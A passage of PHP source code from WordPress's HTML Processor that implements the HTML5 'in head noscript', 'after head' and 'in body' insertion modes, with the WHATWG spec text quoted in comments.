			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
